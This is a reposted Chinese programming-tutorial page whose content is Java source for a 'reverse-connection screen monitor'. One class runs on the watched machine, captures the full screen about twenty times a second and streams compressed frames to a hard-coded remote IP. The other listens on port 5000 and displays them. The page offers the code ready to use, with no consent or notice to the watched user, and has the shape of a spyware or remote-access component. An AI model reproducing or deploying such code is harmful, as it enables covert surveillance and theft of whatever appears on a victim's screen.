首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > 编程 >

JAVA用TCP兑现反向连接屏幕监视(转)

2012-12-19 
JAVA用TCP实现反向连接屏幕监视(转)本文转摘自http://www.yuanma.org/data/2006/1222/article_1989.htm通

JAVA用TCP实现反向连接屏幕监视(转)
本文转摘自http://www.yuanma.org/data/2006/1222/article_1989.htm

通过自己试验成功,只是被监控端会出现鼠标不停闪动的现象。

import com.sun.image.codec.jpeg.JPEGCodec;import com.sun.image.codec.jpeg.JPEGImageEncoder;import java.awt.Dimension;import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.io.FileOutputStream;import java.io.IOException;import java.net.Socket;import java.util.zip.ZipEntry;import java.util.zip.ZipOutputStream;/** * * @author Admin */public class ShellServer extends Thread{    private Dimension screenSize;    private Rectangle rectangle;    private Robot robot;    private JPEGImageEncoder encoder;    public ShellServer() {        screenSize = Toolkit.getDefaultToolkit().getScreenSize();        rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域        try{            robot = new Robot();        }catch(Exception e){            e.printStackTrace();            System.out.println(e);        }    }    public void run(){        ZipOutputStream os = null;        Socket socket=null;        while (true){            try{                socket = new Socket("10.0.0.59",5000);//连接远程IP                BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域                os = new ZipOutputStream(socket.getOutputStream());//加入压缩流                //os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));                os.setLevel(9);                os.putNextEntry(new ZipEntry("1.jpg"));                JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG                os.close();                Thread.sleep(50);//每秒20帧            }catch(Exception e){                e.printStackTrace();            }finally{                if(os!=null){                    try{                        os.close();                    }catch(Exception ioe){}                }                if(socket!=null){                    try {                        socket.close();                    } catch (IOException e) {                    }                }            }        }    }/*    public static void main(String[] args) {        new ShellServer().start();    }*/}//以下这个为客户端类 监视者import java.awt.*;import java.awt.image.BufferedImage;import javax.imageio.ImageIO;import javax.swing.*;import java.io.*;import java.net.ServerSocket;import java.net.Socket;import java.util.zip.ZipInputStream;/** * * @author Admin */public class ShellClient extends JFrame{    Dimension screenSize;    public ShellClient() {        super();        screenSize = Toolkit.getDefaultToolkit().getScreenSize();        this.setSize(800, 640);//设置Frame初始        Screen p = new Screen();//屏幕类        Container c = this.getContentPane();        c.setLayout(new BorderLayout());//布局        c.add(p,"Center");//添加一个Panel        new Thread(p).start();//开启线程        this.show();//显示本Frame    }/*    public static void main(String[] args){        new ShellClient();    }*/    class Screen extends JPanel implements Runnable{        private Image cimage;        public void run(){            ServerSocket ss=null;            try{                ss=new ServerSocket(5000);//探听5000端口的连接                while(true){                    Socket s=null;                    try{                        s=ss.accept();//获取一个SOCKET                        ZipInputStream  zis=new ZipInputStream(s.getInputStream());                        zis.getNextEntry();//获得ZIP流的ENTRY                        cimage = ImageIO.read(zis);//把ZIP流转换为图片                        //cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));                        repaint();//重画                    }catch(Exception e){                        e.printStackTrace();                    }finally{                        if(s!=null){                            try {s.close();} catch (IOException e) {}                        }                    }                }            }catch(Exception e){}            finally{                if(ss!=null){                    try {ss.close();} catch (IOException e) {}                }            }        }        public Screen() {            super();            this.setLayout(null);        }        public void paint(Graphics g){            super.paint(g);            Graphics2D g2 = (Graphics2D) g;            g2.drawImage(cimage, 0, 0, null);        }    }}

热点排行